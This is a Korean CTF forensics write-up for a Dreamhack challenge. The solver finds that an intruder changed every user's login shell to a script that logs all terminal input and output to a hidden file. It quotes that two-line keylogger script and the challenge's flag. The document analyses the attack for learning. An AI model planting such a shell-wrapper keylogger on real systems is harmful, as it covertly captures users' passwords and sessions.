Dreamhack-abcdefg-who(level1)

[forensics]

Description

드림이는 서버를 운영하고 있습니다.

어느 날 드림이의 패스워드가 유출된 이후로, 서버가 조금 달라졌음을 알게 되었습니다.

플래그를 찾아보세요! (2024.10.02)

Access Info

- id: `dream`
- pw: `hack1234`

Write up

- 사용 도구: powershell

- `access_method.txt`

```
ssh dream@[server IP] -p [port]
```

- 서버 정보

```
Host: host8.dreamhack.games
Port:  13320/tcp → 22/tcp
```

- `ssh dream@host8.dreamhack.games -p 13320` 명령어를 통해 서버 접속

- " 드림이의 패스워드가 유출된 이후로, 서버가 조금 달라졌음을 알게 되었다." → 침입자가 있다는 뜻
- 계정 관련 흔적을 찾아보기 위해 `cat /etc/password` 명령어 실행
  - 모든 사용자의 경로가 `/home/frank/.bash.sh`로 설정되어 있음 → 해당 경로를 확인해보기로 함
  - 정상적인 경로는 root의 `/bin/bash`와 같은 형태의 경로여야 함

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/
nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/system
d:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/system
d:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nolo
gin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
```

```
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
alice:x:1000:1000::/home/alice:/home/frank/.bash.sh
bob:x:1001:1001::/home/bob:/home/frank/.bash.sh
charlie:x:1002:1002::/home/charlie:/home/frank/.bash.sh
dream:x:1003:1003::/home/dream:/home/frank/.bash.sh
eavan:x:1004:1004::/home/eavan:/home/frank/.bash.sh
frank:x:1005:1005::/home/frank:/home/frank/.bash.sh
george:x:1006:1006::/home/george:/home/frank/.bash.sh
```

- `cat /home/frank/.bash.sh` 명령어를 통해 의심 경로 확인
  - 모든 사용자의 셸을 이 파일로 변경 후, 로그인할 때마다 사용자의 모든 입출력을 .secret_log에 기록하도록 설정한 것 → 패스워드 탈취 목적일수도!
  - `/home/frank/.secret_log` 파일을 확인해봐야됨

```
#!/bin/bash
/bin/bash 2>&1 | tee -a /home/frank/.secret_log
```

- `sudo grep -i DH{ /home/frank/.secret_log` 명령어를 통해 해당 파일에서 flag를 검색
  - `Permission denied` → 권한 문제로 sudo 명령어 사용

```
sudo grep -i DH{ /home/frank/.secret_log
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
DH{MY_n3w_keYl0g9er_g0OD}
```

- FLAG는, DH{MY_n3w_keYl0g9er_g0OD}

FLAG

DH{MY_n3w_keYl0g9er_g0OD}